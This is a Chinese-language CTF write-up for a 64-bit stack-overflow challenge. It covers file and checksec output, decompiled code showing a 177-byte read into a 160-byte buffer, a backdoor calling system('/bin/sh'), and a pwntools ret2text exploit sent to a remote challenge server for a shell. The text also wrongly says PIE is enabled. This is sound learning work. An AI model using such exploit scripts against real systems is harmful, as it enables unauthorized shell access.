校队没人打pwn, 没办法自己看能学多少算多少.
文件信息审计
拿到pwn2与libc.so.6文件, 先使用file
与checksec
获取文件信息:
[root_cn@archlinux pwnstack]$ file pwn2
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62aa40d64871e142a32827b4e403772e72f67fba, not stripped
由ELF 64-bit
得知属于64位程序.
[root_cn@archlinux pwnstack]$ checksec --file=pwn2
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 76 Symbols No 0 1 pwn2
检查文件开启了NX(数据执行保护), PIE(代码地址随机化)保护, 但是存在No canary found
, 即Canary(栈溢出保护)未开启, 故可以从栈下手, 符合题意.
反编译
使用retdec进行反编译, 拿到pwn2.c文件与pwn2.dsm文件, 其中存在代码如下:
[root_cn@archlinux pwn]$ cat pwn2.c | head -n 46 | tail -n +39
// Address range: 0x40071b - 0x400762
int64_t vuln(void) {
// 0x40071b
int64_t buf; // bp-168, 0x40071b地址
__asm_rep_stosq_memset((char *)&buf, 0, 20); //初始化buf, 设置为0
read(0, &buf, 177);
return 0;
}
可以看到vuln函数中read
读取177个字节, buf
变量(int64_t)在地址0x40071b处为0xa0, 转十进制即为160, 小于可读取字节, 存在溢出漏洞, 其中buf的大小可以通过汇编语言定位到相应地址进行查询:
[root_cn@archlinux pwn]$ cat pwn2.dsm | head -n 161 | tail -n +158
; function: vuln at 0x40071b -- 0x400762
0x40071b: 55 push rbp
0x40071c: 48 89 e5 mov rbp, rsp
0x40071f: 48 81 ec a0 00 00 00 sub rsp, 0xa0
继续在汇编中可以找到未出现在程序的backdoor函数:
; function: backdoor at 0x400762 -- 0x400778
0x400762: 55 push rbp ; 当前函数地址的寄存器rbp压栈
0x400763: 48 89 e5 mov rbp, rsp ; 栈指针rsp指向栈顶
0x400766: bf 38 08 40 00 mov edi, 0x400838 ; "/bin/sh"
0x40076b: b8 00 00 00 00 mov eax, 0 ; 加法寄存器eax初始化为0
0x400770: e8 fb fd ff ff call 0x400570 <system>
0x400775: 90 nop ;
0x400776: 5d pop rbp ; 弹出rbp栈
0x400777: c3 ret ; 返回主函数
看到"/bin/sh"
与<system>
可知函数已经写入了控制权限, 明显地, 本题为最基本的ret2text类题型.
ret2text
ret2text为最简单的栈溢出利用:
-
通过栈溢出可以修改call指令保存在栈上的返回地址(指令指针eip的值)
-
函数以ret声明结束后将eip指向栈顶, 回到主函数
-
这时可通过栈溢出篡改栈上的指针
-
新的值代替程序继续执行
-
通过一定地构造可以控制程序流
个人理解, 不一定对.
目的与EXP
-
接下来只需要先输入160个字节填满
buf
-
然后可以使用pwndbg打断点:
[root_cn@archlinux pwn]$ gdb pwn2
pwndbg> b *0x40071b
pwndbg> r
pwndbg> s
......
不断运行到栈上的值为 0x7fffffffe648 <- 0xa /* '\n' */
, 这时候上面的栈为0x7fffffffe648 <- 0x1
, 相差8位(大家是不是想起了什么? retdec编译出来时有注释过//bp-168
).
-
故先写入168(160填满
buf
变量, 8填充到上一个栈, 应该是这个意思)个字节使指针指向栈顶. -
写入backdoor地址.
以下是EXP工具:
from pwn import *
context.log_level = 'debug'
#io = process("./pwn2")
IP = "61.147.171.105"
port = 60233
io = remote(IP, port)
elf = ELF("./pwn2")
libc = ELF("./libc.so.6")
bp = b'a'*168
backdoor_addr = p64(0x400762)
#64位数字使用p64,32位数字使用p32
io.recv()
io.sendline(bp + backdoor_addr)
io.interactive()